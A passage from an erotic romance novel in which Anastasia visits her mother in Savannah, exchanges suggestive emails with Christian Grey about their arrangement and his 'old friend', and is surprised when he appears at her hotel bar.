unoccupied. Oh +no... a disturbing thought crosses my mind. Perhaps the seat is Christian’s. Oh shit... +no... he wouldn’t do that. Would he? I told him I didn’t want him to come with me. I +glance anxiously at my watch and then the disembodied voice from the flight deck an- +nounces, + +“Cabin crew, doors to automatic and cross check.” + +What does that mean? Are they closing the doors? My scalp prickles as I sit in pal- +pitating anticipation. The seat next to me is the only unoccupied one in the sixteen-seat +cabin. The plane jolts as it pulls away from its stand, and I breathe a sigh of relief but feel +a faint tingle of disappointment too. . . no Christian for four days. I take a sneak peek at +my BlackBerry. + + +From: Christian Grey +Subject: Enjoy it While You Can +Date: May 30 2011 22:25 +To: Anastasia Steele + +Dear Miss Steele + +I know what you’re trying to do - and trust me - you’ve succeeded. Next time you’ll be +in the cargo hold, bound and gagged in a crate. Believe me when I say that attending to +you in that state will give me so much more pleasure than merely upgrading your ticket. + +I look forward to your return. + + +Christian Grey + +Palm-Twitching CEO, Grey Enterprises Holdings Inc. + + +Holy crap. That’s the problem with Christian’s humor - I can be never be sure if he’s +joking or if he’s seriously angry. I suspect on this occasion he’s seriously angry. Surrepti- +tiously, so the flight attendant can’t see, I type a reply under the blanket. + + +From: Anastasia Steele +Subject: Joking? + +Date: May 30 2011 22:30 +To: Christian Grey + + +You see - I have no idea if you’re joking - and if you’re not - then I think I’ll stay in Geor- +gia. Crates are a hard limit for me. Sorry I made you mad. Tell me you forgive me. + +A + + +From: Christian Grey +Subject: Joking +Date: May 30 2011 22:31 +To: Anastasia Steele + +How can you be emailing? Are you risking the life of everyone on board, including your- +self, by using your BlackBerry? I think that contravenes one of the rules. + + +Christian Grey + +Two Palms Twitching CEO, Grey Enterprises Holdings Inc. + + +Two palms! I put my BlackBerry away, sit back while the plane taxis to the runway, and +pull out my tattered copy of Tess - some light reading for the journey. Once we’re air- +borne, I tip my seat back, and soon I’m drifting off to sleep. + +The flight attendant wakes me as we start our descent into Atlanta. Local time is 5:45 +a.m., but I’ve only had four hours sleep or so. . . I feel groggy, but grateful for the glass of +orange juice she hands me. I glance nervously at my BlackBerry. There are no further +emails from Christian. Well, it’s nearly three in the morning in Seattle, and he probably +wants to discourage me from screwing up the avionics system, or whatever prevents planes +from flying if mobile phones are switched on. + + +The wait in Atlanta is only an hour. And again I’m luxuriating in the confines of the first +class lounge. I am tempted to curl up and go to sleep on one of the plush, inviting couches +that sink softly under my weight. But it will just not be long enough. To keep myself +awake, I start a long steam of consciousness to Christian on my laptop. + + +From: Anastasia Steele +Subject: Do you like to scare me? + +Date: May 31 2011 06:52 EST +To: Christian Grey + +You know how much I dislike you spending money on me. Yes, you’re very rich, but still +it makes me uncomfortable, like you’re paying me for sex. However, I like traveling first +class, it’s so much more civilized than coach. So thank you. I mean it - and I did enjoy +the massage from Jean Paul. He was very gay. I omitted that bit in my email to you to +wind you up, because I was annoyed with you, and I’m sorry about that. + +But as usual you overreact. You can’t write things like that to me - bound and gagged +in a crate - (Were you serious or was it a joke?) That scares me... you scare me... I am +completely caught up in your spell, considering a lifestyle with you that I didn’t even know + + +existed until last Saturday week, and then you write something like that and I want to run +screaming into the hills. I won’t, of course, because I’d miss you. Really miss you. I +want us to work, but I am terrified of the depth of feeling I have for you and the dark path +you’re leading me down. What you are offering is erotic and sexy, and I’m curious, but +I’m also scared you’ll hurt me - physically and emotionally. After three months you could +say goodbye, and where will that leave me if you do? But then I suppose that risk is +there in any relationship. This just isn’t the sort of relationship I ever envisaged having, +especially as my first. It’s a huge leap of faith for me. + +You were right when you said I didn’t have a submissive bone in my body... and I agree +with you now. Having said that, I want to be with you, and if that’s what I have to do, I +would like to try, but I think I’ll suck at it and end up black and blue - and I don’t relish that +idea at all. + +I am so happy that you have said that you will try more. I just need to think about what +‘more’ means to me, and that’s one of the reasons why I wanted some distance. You +dazzle me so much I find it very difficult to think clearly when we’re together. + +They are calling my flight. I have to go. + +More later +Your Ana + + +I press send and make my way sleepily to the departure gate to board a different plane. +This one has only six seats in first class, and once we are in the air, I curl up under my soft +blanket and fall asleep. + +All too soon, I’m woken by the flight attendant offering me more orange juice as we +begin our approach to Savannah International. I sip slowly, beyond fatigued, and I allow +myself to feel a modicum of excitement. I’m going to see my mother for the first time in +six months. Sneaking another covert look at my BlackBerry, I remember vaguely that I +sent a long rambling email to Christian - but there’s nothing in response. It’s five in the +morning in Seattle - hopefully he’s still asleep and not up playing mournful laments on his +piano. + + +The beauty of carry-on rucksacks is that one can breeze out of the airport and not wait +endlessly for baggage at the carousels. The beauty of traveling first class is that they let +you off the plane first. + +My mom is waiting with Bob, and it is so good to see them. I don’t know if it’s because +of exhaustion, the long journey, or the whole Christian situation, but as soon as I’m in my +mother’s arms, I burst into tears. + +“Oh Ana, honey. You must be so tired.” She glances anxiously at Bob. + +“No Mom, it’s just - I’m so pleased to see you.” I hug her tightly. + +She feels so good and welcoming and home. Reluctantly, I relinquish her, and Bob +gives me an awkward one-armed hug. He seems unsteady on his feet, and I remember that +he’s hurt his leg. + +“Welcome back, Ana. Why you cryin’?” he asks. + + +“Aw, Bob, I’m just pleased to see you too.” I stare up into his handsome square-jawed +face, and his twinkling blue eyes that gaze at me fondly. I like this husband, Mom. You +can keep him. He takes my backpack. + +“Jeez, Ana, what have you got in here?” + +That will be the Mac, and they both put their arms around me as we head for the park- +ing lot. + +I always forget how unbearably hot it is in Savannah. Leaving the cool air-conditioned +confines of the arrival terminal, we step into the Georgia heat like we’re wearing it. Whoa! + +It saps everything. I have to struggle out of Mom and Bob’s embrace so I can remove +my hoodie. I am so glad I packed shorts. I miss the dry heat of Vegas sometimes, where +I lived with Mom and Bob when I was seventeen, but this wet heat, even at 8:30 in the +morning, takes some getting used to. By the time I’m in the back of Bob’s wonderfully +air-conditioned Tahoe SUV, I feel limp, and my hair has started a frizzy protest at the heat. +In the back of the SUV I quickly text Ray, Kate, and Christian: + + +‘Arrived Safely in Savannah. A :)* + +My thoughts stray briefly to Jose as I press send, and through the fog of my fatigue, + +I remember that it’s his show next week. Should I invite Christian knowing how he feels +about Jose? Will Christian still want to see me after that email? I shudder at the thought, +and then put it out of my mind. I’ll deal with that later. Right now I am going to enjoy my +mom’s company. + +“Honey, you must be tired. Would you like to sleep when we get home?” + +“No, Mom. I’d like to go to the beach.” + + +I am in my blue halter neck tankini, sipping a Diet Coke, on a sun bed facing the Atlantic +Ocean, and to think that only yesterday I was staring out at the Sound toward the Pacific. +My mother lounges beside me in a ridiculously large floppy sun hat and Jackie O shades, +sipping a Coke of her own. We are on Tybee Island Beach, just three blocks from home. +She holds my hand. My fatigue has waned, and as I soak up the sun, I feel comfortable, +safe, and warm. For the first time in forever, I start to relax. + +“So Ana... tell me about this man who has you in such a spin.” + +Spin! How can she tell? What to say? I can’t talk about Christian in any great detail +because of the NDA, but even then, would I choose to talk to my mother about it? I blanch +at the thought. + +“Well?” she prompts and squeezes my hand. + +“His name’s Christian. He’s beyond handsome. He’s wealthy... too wealthy. He’s +very complicated and mercurial.” + +Yes - I feel inordinately pleased with my concise, accurate summary. I turn on my +side to face her, just as she makes the same move. She gazes at me with her crystal-clear +blue eyes. + +“Complicated and mercurial are the two pieces of information I want to concentrate +on, Ana.” + + +Oh no... + +“Oh, Mom, his mood-swings make me dizzy. He’s had a grim upbringing, so he’s very +closed, difficult to gauge.” + +“Do you like him?” + +“I more than like him.” + +“Really?” She gapes at me. + +“Yes, Mom.” + +“Men aren’t really complicated, Ana, honey. They are very simple, literal creatures. +They usually mean what they say. And we spend hours trying to analyze what they’ve said +- when really it’s obvious. If I were you, I’d take him literally. That might help.” + +I gape at her. This sounds like good advice. Take Christian literally. Immediately some +of the things he’s said spring into my mind. + + +I don’t want to lose you. . . + +You’ve bewitched me... + +You’ve completely beguiled me... + +I’ll miss you too... more than you know... + + +I gaze at my mom. She is on her fourth marriage. Maybe she does know something +about men after all. + +“Most men are moody darling, some more than others. Take your father for in- +stance...,” Her eyes soften and sadden whenever she thinks of my dad. My real dad, this +mythical man I never knew, snatched so cruelly from us in a combat training accident when +he was a marine. Part of me thinks my mom has been looking for someone like my dad +all this time... maybe she’s finally found what she’s looking for in Bob. Pity she couldn’t +find it with Ray. + +“I used to think your father was moody. But now when I look back, I just think he was +too caught up in his job and trying to make a life for us.” She sighs. “He was so young, +we both were. Maybe that was the issue.” + +Hmm... Christian is not exactly old. I smile fondly at her. She can become very soul- +ful thinking about my father, but I’m sure he had nothing on Christian’s moods. + +“Bob wants to take us out tonight for dinner. To his golf club.” + +“Oh no! Bob’s started playing golf?” I scoff in disbelief. + +“Tell me about it,” groans my mother, rolling her eyes. + + +After a light lunch back at the house, I start to unpack. I am going to treat myself to a si- +esta. My mother has disappeared to mold some candles or whatever she does with them, +and Bob is at work, so I have time to catch up on some sleep. I open the Mac and fire it up. +It’s two in the afternoon in Georgia, eleven in the morning in Seattle. I wonder if I have a +reply from Christian. Nervously, I log into the email program. + + +From: Christian Grey + + +Subject: Finally! + +Date: May 31 2011 07:30 +To: Anastasia Steele + +Anastasia + +I am annoyed that as soon as you put some distance between us, you communicate +openly and honestly with me. Why can’t you do that when we’re together? + +Yes, I’m rich. Get used to it. Why shouldn’t I spend money on you? We’ve told your +father I’m your boyfriend, for heaven’s sake. Isn’t that what boyfriends do? As your Dorn, + +I would expect you to accept whatever I spend on you with no argument. Incidentally, tell +your mother too. + +I don’t know how to answer your comment about feeling like a whore. I know that’s not +what you’ve written, but it’s what you imply. I don’t know what I can say or do to eradi- +cate these feelings. I’d like you to have the best of everything. I work exceptionally hard, +so I can spend my money as I see fit. I could buy you your heart’s desire, Anastasia, and +I want to. Call it redistribution of wealth if you will. Or simply know that I would not, could +not ever think of you in the way you described, and I’m angry that’s how you perceive +yourself. For such a bright, witty, beautiful young woman you have some real self-esteem +issu es, a nd I have a half a mind to make an appointment for you with Dr. Flynn. + +I apologize for frightening you. I find the thought of instilling fear in you abhorrent. Do +you really think I’d let you travel in the hold? I offered you my private jet for heaven’s +sake. Yes it was a joke, a poor one obviously. However, the fact is - the thought of you +bound and gagged turns me on (this is not a joke - it’s true). I can lose the crate - crates +do nothing for me. I know you have issues with gagging, we’ve talked about that and if/ +when I do gag you, we’ll discuss it. What I think you fail to realize is that in Dom/sub +relationships it is the sub that has all the power. That’s you. I’ll repeat this - you are the +one with all the power. Not I. In the boathouse you said no. I can’t touch you if you say +no - that’s why we have an agreement - what you will and won’t do. If we try things and +you don’t like them, we can revise the agreement. It’s up to you - not me. And if you +don’t want to be bound and gagged in a crate, then it won’t happen. + +I want to share my lifestyle with you. I have never wanted anything so much. Frankly I’m +in awe of you, that one so innocent would be willing to try. That says more to me than +you could ever know. You fail to see I am caught in your spell, too, even though I have +told you this countless times. I don’t want to lose you. I am nervous that you’ve flown +three thousand miles to get away from me for a few days, because you can’t think clearly +around me. It’s the same for me Anastasia. My reason vanishes when we’re together - +that’s the depth of my feeling for you. + +I understand your trepidation. I did try to stay away from you; I knew you were inexperi- +enced, though I would never have pursued you if I had known exactly how innocent you +were - and yet you still manage to disarm me completely in a way that nobody has be- +fore. Your email for example: I have read and re-read it countless times trying to under- +stand your point of view. Three months is an arbitrary amount of time. We could make it +six months, a year? How long do you want it to be? What would make you comfortable? +Tell me. + +I understand that this is a huge leap of faith for you. I have to earn your trust, but by the +same token, you have to communicate with me when I am failing to do this. You seem +so strong and self-contained, and then I read what you’ve written here, and I see another +side to you. We have to guide each other Anastasia, and I can only take my cues from +you. You have to be honest with me, and we have to both find a way to make this ar- +rangement work. + +You worry about not being submissive. Well maybe that’s true. Having said that, the only + + +time you do assume the correct demeanor for a sub is in the playroom. It seems that’s +the one place where you let me exercise proper control over you, and the only place you +do as you’re told. Exemplary is the term that comes to mind. And I’d never beat you +black and blue. I aim for pink. Outside the playroom, I like that you challenge me. It’s a +very novel and refreshing experience, and I wouldn’t want to change that. So yes, tell me +what you want in terms of more. I will endeavor to keep an open mind, and I shall try and +give you the space you need and stay away from you while you are in Georgia. I look +forward to your next email. + +In the meantime, enjoy yourself. But not too much. + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +Holy crap. He’s written an essay like we’re back at school - and most of it good. My heart +is in my mouth as I re-read his epistle, and I huddle on the spare bed practically hugging +my Mac. Make our agreement a year? I have the power! Jeez, I’m going to have to think +about that. Take him literally, that’s what my mother says. He doesn’t want to lose me. +He’s said that twice! He wants to make this work too. Oh Christian, so do I! He’s going +to try and stay away! Does this mean he might fail to stay away? Suddenly, I hope so. I +want to see him. We’ve been apart less than twenty-four hours, and knowing that I can’t +see him for four days, I realize how much I miss him. How much I love him. + + + + +“Ana, honey.” The voice is soft and warm, full of love and sweet memories of times gone +by. + +A gentle hand brushes my face. My mom wakes me, and I’m wrapped around my +laptop, hugging it to me. + +“Ana, sweetheart,” she continues in her soft singsong voice while I surface from sleep, +blinking in the pale pink light of dusk. + +“Hi, Mom.” I stretch out and smile. + +“We’re going out for dinner in thirty minutes. You still want to come?” she asks kindly. + +“Oh, yes, Mom, of course.” I try very hard, but fail to stifle my yawn. + +“Now that’s an impressive piece of technology.” She points to my laptop. + +Oh crap. + +“Oh... this?” I strive for casual, surprised nonchalance. + +Will Mom notice? She seems to have grown more astute since I acquired a ‘boyfriend’. + +“Christian lent it to me. I think I could pilot the space shuttle with it, but I just use it +for emails and Internet access.” + +Really it’s nothing. Eyeing me suspiciously, she sits down on the bed and tucks a stray +lock of hair behind my ear. + + +“Has he emailed you?” + +Oh double crap. + +“Yeah.” My nonchalance is wearing thin, and I flush. + +“Perhaps he’s missing you, huh?” + +“I hope so, Mom.” + +“What does he say?” + +Oh triple crap. I frantically try to think of something acceptable from that email I can +tell my mother. I’m sure she doesn’t want to hear about Dorns and bondage and gagging, +but then I can’t tell her because there’s the NDA. + +“He’s told me to enjoy myself, but not too much.” + +“Sounds reasonable. I’ll leave you to get ready, honey.” Leaning over, she kisses my +forehead. “I’m so glad you’re here, Ana. It’s wonderful to see you.” And with that loving +statement, she leaves. + +Hmm, Christian and reasonable... two concepts that I thought were mutually exclu- +sive, but after his email, maybe all things are possible. I shake my head. I will need time +to digest his words. Probably after dinner - and I can reply to him then. I climb out of bed +and quickly slip out of my t-shirt and shorts, and head to the shower. + +I have brought Kate’s gray halter-neck dress that I wore for my graduation. It’s the +only dressy item I have. One good thing about the heat is that the creases have dropped +out, so I think it will do for the golf club. As I dress, I wake the laptop up. There is nothing +new from Christian, and I feel a stab of disappointment. Very quickly, I type him an email. + + +From: Anastasia Steele +Subject: Verbose? + +Date: May 31 2011 19:08 EST +To: Christian Grey + +Sir, you are quite the loquacious writer. I have to go to dinner at Bob’s golf club, and just +so you know, I am rolling my eyes at the thought. But you and your twitchy palm are a +long way from me so my behind is safe, for now. I loved your email. Will respond when I +can. I miss you already. + +Enjoy your afternoon. + +Your Ana + + +From: Christian Grey +Subject: Your behind +Date: May 31 2011 16:10 +To: Anastasia Steele + +Dear Miss Steele + +I am distracted by the title of this email. Needless to say it is safe - for now. + +Enjoy your dinner, and I miss you too, especially your behind and your smart mouth. + +My afternoon will be dull, brightened only by thoughts of you and your eye rolling. I think +it was you who so judiciously pointed out to me that I too suffer from that nasty habit. + + +Christian Grey + +CEO & Eye Roller, Grey Enterprises Holdings Inc. + + +From: Anastasia Steele +Subject: Eye Rolling +Date: May 31 2011 19:14 EST +To: Christian Grey + +Dear Mr. Grey + +Stop emailing me. I am trying to get ready for dinner. You are very distracting, even +when you are on the other side of the continent. And yes - who spanks you when you +roll your eyes? + +Your Ana + + +I press send, and immediately the image of that evil witch Mrs. Robinson comes into my +mind. I just can’t picture it. Christian being beaten by someone as old as my mother, it’s +just so wrong. Again I wonder what damage she’s wrought. My mouth sets in a hard grim +line. I need a doll to stick pins in, maybe that way I can vent some of the anger I feel at +this stranger. + + +From: Christian Grey +Subject: Your behind +Date: May 31 2011 16:18 +To: Anastasia Steele + +Dear Miss Steele + +I still prefer my title to yours, in so many different ways. It is lucky that I am master of my +own destiny and no one castigates me. Except my mother occasionally and Dr. Flynn, of +course. And you. + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +From: Anastasia Steele +Subject: Chastising... Me? + +Date: May 31 2011 19:22 EST +To: Christian Grey + +Dear Sir + +When have I ever plucked up the nerve to chastise you, Mr. Grey? I think you are mixing +me up with someone else... which is very worrying. I really do have to get ready. + +Your Ana + + +From: Christian Grey +Subject: Your behind +Date: May 31 2011 16:25 +To: Anastasia Steele + +Dear Miss Steele + +You do it all the time in print. Can I zip up your dress? + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +For some unknown reason, his words leap out of the page and make me gasp. Oh... he +wants to play games. + + +From: Anastasia Steele +Subject: NC-17 +Date: May 31 2011 19:28 EST +To: Christian Grey + +I would rather you unzipped it. + + +From: Christian Grey +Subject: Careful what you wish for... +Date: May 31 2011 16:31 +To: Anastasia Steele + +SO WOULD I. + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +From: Anastasia Steele +Subject: Panting +Date: May 31 2011 19:33 EST +To: Christian Grey + +Slowly... + + +From: Christian Grey +Subject: Groaning +Date: May 31 2011 16:35 +To: Anastasia Steele + + +Wish I was there. + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +From: Anastasia Steele +Subject: Moaning +Date: May 31 2011 19:37 EST +To: Christian Grey + +SO DO I + + +“Ana!” My mother calls me, making me jump. Shit. Why do I feel so guilty? +“Just coming, Mom.” + + +From: Anastasia Steele +Subject: Moaning +Date: May 31 2011 19:39 EST +To: Christian Grey + +Gotta go. + +Laters, baby. + + +I dash into the hall where Bob and my mother are waiting. My mother frowns. + +“Darling - are you feeling ok? You look at bit flushed.” + +“Mom, I’m fine.” + +“You look lovely, dear.” + +“Oh, this is Kate’s dress. You like it?” + +Her frown deepens. + +“Why are you wearing Kate’s dress?” + +Oh... no. + +“Well I like this one and she doesn’t,” I improvise quickly. + +She regards me shrewdly while Bob oozes impatience with his hangdog, hungry look. +“I’ll take you shopping tomorrow,” she says. + +“Oh, Mom, you don’t need to do that. I have plenty of clothes.” + +“Can’t I do something for my own daughter? Come on, Bob’s starving.” + +“Too right,” moans Bob, rubbing his stomach and assuming a fake pained expression. +I giggle as he rolls his eyes, and we head out the door. + + +Later when I’m in the shower, cooling under the lukewarm water, I reflect on how much +my mother has changed. Seeing her at dinner, she was in her element, funny and flirty +and amongst many friends at the golf club. Bob was warm and attentive... they seem so +good for each other. I’m really pleased for her. It means I can stop worrying about her and +second-guessing her decisions and put the dark days of Husband Number Three behind us +both. Bob is a keeper. And she’s giving me good advice. When did that start happening? +Since I met Christian. Why is that? + +When I’m done, I dry myself quickly, keen to get back to Christian. There’s an email +waiting for me, sent just after I left for dinner a few hours ago. + + +From: Christian Grey +Subject: Plagiarism +Date: May 31 2011 16:41 +To: Anastasia Steele + +You stole my line. + +And left me hanging. +Enjoy your dinner. + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +From: Anastasia Steele +Subject: Who are you to cry thief? + +Date: May 31 2011 22:18 EST +To: Christian Grey + +Sir, I think you’ll find it was Elliot’s line originally. +Hanging how? + +Your Ana + + +From: Christian Grey +Subject: Unfinished Business +Date: May 31 2011 19:22 +To: Anastasia Steele + +Miss Steele + +You’re back. You left so suddenly - just when things were getting interesting. +Elliot’s not very original. He’ll have stolen that line from someone. + +How was dinner? + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +From: Anastasia Steele +Subject: Unfinished Business? + +Date: May 31 2011 22:26 EST +To: Christian Grey + +Dinner was filling - you’ll be very pleased to hear, I ate far too much. +Getting interesting? How? + + +From: Christian Grey +Subject: Unfinished Business - definitely +Date: May 31 2011 19:30 +To: Anastasia Steele + +Are you being deliberately obtuse? I think you’d just asked me to unzip your dress. +And I was looking forward to doing just that. I am also glad to hear you are eating. + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +From: Anastasia Steele + +Subject: Well... there’s always the weekend + +Date: May 31 2011 22:36 EST + +To: Christian Grey + +Of course I eat... It’s only the uncertainty I feel around you that puts me off my food. +And I would never be unwittingly obtuse, Mr. Grey. + +Surely you’ve worked that out by now ;) + + +From: Christian Grey +Subject: Can’t Wait +Date: May 31 2011 19:40 +To: Anastasia Steele + +I shall remember that, Miss Steele, and no doubt use the knowledge to my advantage. +I’m sorry to hear that I put you off your food. I thought I had a more concupiscent effect +on you. That has been my experience, and most pleasurable it has been too. + +I very much look forward to the next time. + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +From: Anastasia Steele +Subject: Gymnastic Linguistics +Date: May 31 2011 22:36 EST +To: Christian Grey + + +Have you been playing with the thesaurus again? + + +From: Christian Grey +Subject: Rumbled +Date: May 31 2011 19:40 +To: Anastasia Steele + +You know me so well Miss Steele. + +I am having dinner with an old friend now so I will be driving. +Laters, baby© + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +Which old friend? I didn’t think Christian had any old friends, except... her. I frown at the +screen. Why does he have to still see her? Searing, green, bilious jealousy courses through +me unexpectedly. I want to hit something, preferably Mrs. Robinson. Switching the laptop +off in a temper, I clamber into bed. + +I should really respond to his long email from this morning, but I’m suddenly too +angry. Why can’t he see her for what she is - a child molester? I switch off the light, +seething, staring into the darkness. How dare she? How dare she pick on a vulnerable +adolescent? Is she still doing it? Why did they stop? Various scenarios filter through my +mind: he had had enough, then why is he still friends with her? Ditto her - is she mar- +ried? Divorced? Jeez - does she have children of her own? Does she have Christian’s +children? My subconscious rears her ugly head, leering, and I’m shocked and nauseous at +the thought. Does Dr. Flynn know about her? + +I struggle out of bed and fire the mean machine up again. I am on a mission. I drum +my fingers impatiently waiting for the blue screen to appear. I hit Google images and +enter ‘Christian Grey’ into the search engine. The screen is suddenly littered with images +of Christian: in black tie, be-suited, jeez - Jose’s pictures from the Heathman, in his white +shirt and flannel trousers. How did they get on the Internet? Boy he looks good. + +I move quickly on: some with business associates, then picture after glorious picture +of the most photogenic man I know, intimately. Intimately? Do I know Christian inti- +mately? I know him sexually, and I figure there’s a lot more to discover there. I know he’s +moody, difficult, funny, cold, warm... jeez, the man is a walking mass of contradictions. I +click to the next page. He’s still on his own in all these photographs, and I remember Kate +mentioning that she couldn’t find any photographs of him with a date, prompting her gay +question. Then, on the third page, there’s a picture of me, with him, at my graduation. His +only picture with a woman, and it’s me. + +Holy cow! I’m on Google! I stare at us together. I look surprised by the camera, +nervous, off balance. This was just before I agreed to try. For his part, Christian looks +impossibly handsome, calm and collected, and he’s wearing that tie. I gaze at him, such a + + +beautiful face, a beautiful face that could be staring at Mrs. Damned Robinson right now. I +save the picture in my favorites and clickthrough all eighteen screens... nothing. I won’t +find Mrs. Robinson on Google. But I have to know if he’s with her. I type a quick email +to Christian. + + +From: Anastasia Steele +Subject: Suitable Dinner Companions +Date: May 31 2011 23:58 EST +To: Christian Grey + +I hope you and your friend had a very pleasant dinner. +Ana + +PS Was it Mrs. Robinson? + + +I press send and climb despondently back into bed, resolving to ask Christian about his re- +lationship with that woman. Part of me is desperate to know more, and another part wants +to forget he ever told me. And my period has started, so I must remember to take my pill +in the morning. I quickly program an alarm into the calendar on my BlackBerry. Setting +it aside on the bedside table, I lie down and eventually drift into an uneasy sleep, wishing +that we were in the same city, not two and half thousand miles apart. + + + + +After a morning of shopping and an afternoon back at the beach, my mother has decreed +we should spend the evening in a bar. Abandoning Bob to the TV, we find ourselves in the +up-market bar of Savannah’s most exclusive hotel. I am on my second Cosmopolitan. My +mother is on her third. She is offering more insights into the fragile male ego. It’s very +disconcerting. + +“You see, Ana, men think that anything that comes out of a woman’s mouth is a prob- +lem to be solved. Not some vague idea that we’d like to kick around and talk about for a +while and then forget. Men prefer action.” + +“Mom, why are telling me this?” I ask, failing to hide my exasperation. She’s been +like this all day. + +“Darling, you sound so lost. You’ve never brought a boy home. You never even had a +boyfriend when we were in Vegas. I thought something might develop with that guy you +met in college, Jose.” + +“Mom, Jose’s just a friend.” + +“I know, sweetheart. But something’s up, and I don’t think you’re telling me every- +thing.” She gazes at me, her face etched with motherly concern. + + +“I just needed some distance from Christian to get my thoughts straight... that’s all. +He tends to overwhelm me.” + +“Overwhelm?” + +“Yeah. I miss him though.” I frown. + +I have not heard from Christian all day. No emails, nothing. I am tempted to call him +to see if he’s okay. My worst fear is that he’s been in a car accident, my second worst fear +that Mrs. Robinson has got her evil claws into him again. I know it’s irrational, but where +she’s concerned, I seem to have lost all sense of perspective. + +“Darling, I have to visit the powder room.” + +My mother’s brief absence allows me another chance to check my BlackBerry. I have +been trying surreptitiously to check emails all day. Finally - a response from Christian! + + +From: Christian Grey +Subject: Dinner Companions +Date: June 1 2011 21:40 EST +To: Anastasia Steele + +Yes, I had dinner with Mrs. Robinson. She is just an old friend, Anastasia. +Looking forward to seeing you again. I miss you. + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +He was having dinner with her. My scalp prickles as adrenaline and fury lance through my +body, all my worst fears realized, crashing through me. How could he? I am away for two +days, and he runs off to that evil bitch. + + +From: Anastasia Steele +Subject: OLD Dinner Companions +Date: June 1 2011 21:42 EST +To: Christian Grey + +She’s not just an old friend. + +Has she found another adolescent boy to sink her teeth into? +Did you get too old for her? + +Is that the reason your relationship finished? + + +I press send as my mother returns. + +“Ana, you’re so pale. What’s happened?” + +I shake my head. + +“Nothing. Let’s have another drink,” I mutter mulishly. + + +Her brow furrows, but she glances up and attracts the attention of one of the waiters, +pointing to our glasses. He nods. He understands the universal language of ‘same again, +please.’ As she does, I quickly glance at my BlackBerry. + + +From: Christian Grey +Subject: Careful... + +Date: June 1 2011 21:45 EST +To: Anastasia Steele + +This is not something I wish to discuss via email. +How many Cosmopolitans are you going to drink? + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +Holy fuck, he’s here. + + +Chapter Twenty-Three + + +I glance nervously around the bar but cannot see him. + +“Ana, what is it? You look like you’ve seen a ghost.” + +“It’s Christian, he’s here.” + +“What? Really?” She glances around the bar too. + +I have neglected to mention Christian’s stalker tendencies to my mom. + +I see him. My heart leaps, beginning a juddering thumping beat as he makes his way +toward us. He’s really here - for me. My inner goddess leaps up cheering from her chaise +longue. Moving smoothly through the crowd, his hair glints burnished copper and red un- +der the recessed halogens. His bright gray eyes are shining with - anger? Tension? His +mouth is set in a grim line, jaw tense. Oh holy shit... no. I am so mad at him right now, +and here he is. How can I be angry with him in front of my mother? + +He arrives at our table, gazing at me warily. He’s dressed in customary white linen +shirt and jeans. + +“Hi,” I squeak, unable to hide my shock and awe at seeing him here in the flesh. + +“Hi,” he replies, and leaning down, he kisses my cheek, taking me by surprise. + +“Christian, this is my mother, Carla.” My ingrained manners take over. + +He turns to greet my mom. + +“Mrs. Adams, I am delighted to meet you.” + + +How does he know her name? He gives her the heart-stopping, Christian Grey pat- +ented, full-blown-no-prisoners-taken smile. She doesn’t have a hope. My mother’s lower +jaw practically hits the table. Jeez, get a grip Mom. She takes his proffered hand and they +shake. My mother hasn’t replied. Oh, complete dumbfounded speechlessness is genetic +- I had no idea. + +“Christian,” she manages finally, breathlessly. + +He smiles knowingly at her, his gray eyes twinkling. I narrow my eyes at them both. + +“What are you doing here?” My question sounds more brittle than I mean, and his +smile disappears, his expression now guarded. I am thrilled to see him, but completely +thrown off balance, my anger about Mrs. Robinson simmering through my veins. I don’t +know if I want to shout at him or throw myself into his arms - but I don’t think he’d like +either - and I want to know how long he has been watching us. I’m also a little anxious +about the email I just sent him. + +“I came to see you, of course.” He gazes down at me impassively. Oh, what is he think- +ing? “I’m staying in this hotel.” + +“You’re staying here?” I sound like a sophomore on amphetamines, too high-pitched +even for my own ears. + +“Well, yesterday you said you wished I was here.” He pauses trying to gauge my reac- +tion. “We aim to please, Miss Steele.” His voice is quiet with no trace of humor. + +Crap - Is he mad? Maybe the Mrs. Robinson comments? Or the fact that I am on my +third, soon to be fourth Cosmo? My mother is glancing anxiously at the two of us. + +“Won’t you join us for a drink, Christian?” She waves to the waiter who is at her side +in a nanosecond. + +“I’ll have a gin and tonic,” Christian says. “Hendricks if you have it or Bombay Sap- +phire. Cucumber with the Hendricks, lime with the Bombay.” + +Holy hell... only Christian could make a meal out of ordering a drink. + +“And two more Cosmos please,” I add, looking anxiously at Christian. I am drinking +with my mother - no way can he be angry about that. + +“Please pull up a chair, Christian.” + +“Thank you, Mrs. Adams.” + +Christian pulls a nearby chair over and sits gracefully down beside me. + +“So you just happen to be staying in the hotel where we’re drinking?” I ask, trying hard +to keep my tone light. + +“Or, you just happen to be drinking in the hotel where I’m staying,” Christian replies. + +“I just finished dinner, came in here, and saw you. I was distracted thinking about your +most recent email, and I glance up and there you are. Quite a coincidence, eh?” He cocks +his head to one side, and I see a trace of a smile. Thank heavens - we may be able to save +the evening after all. + +“My mother and I were shopping this morning and on the beach this afternoon. We +decided on a few cocktails this evening,” I mutter, feeling that I owe him some sort of +explanation. + +“Did you buy that top?” He nods at my brand new green silk camisole, “The color suits +you. And you’ve caught some sun. You look lovely.” + +I flush, speechless at his compliment. + + +“Well, I was going to pay you a visit tomorrow. But here you are.” + +He reaches over, takes my hand, and squeezes it gently, running his thumb across my +knuckles to and fro... and I feel the familiar pull. The electric charge zapping beneath my +skin under the gentle pressure from his thumb, firing into my blood stream and pulsing +around my body, heating everything in its path. It’s been over two days since I saw him. + +Oh my... I want him. My breath hitches. I blink at him, smiling shyly, and see a smile play +on his beautiful, sculptured lips. + +“I thought I’d surprise you. But as ever, Anastasia, you surprise me by being here.” + +I glance quickly at Mom who is staring at Christian... yes staring! Stop it Mom. As if +he’s some exotic creature, never seen before. I mean, I know I’ve never had a boyfriend, +and Christian only qualifies as such for ease of reference - but is it so unbelievable that I +could attract a man? This man? Yes, frankly - look at him - my subconscious snaps. Oh, +shut up! Who invited you to the party? I scowl at my mom - but she doesn’t seem 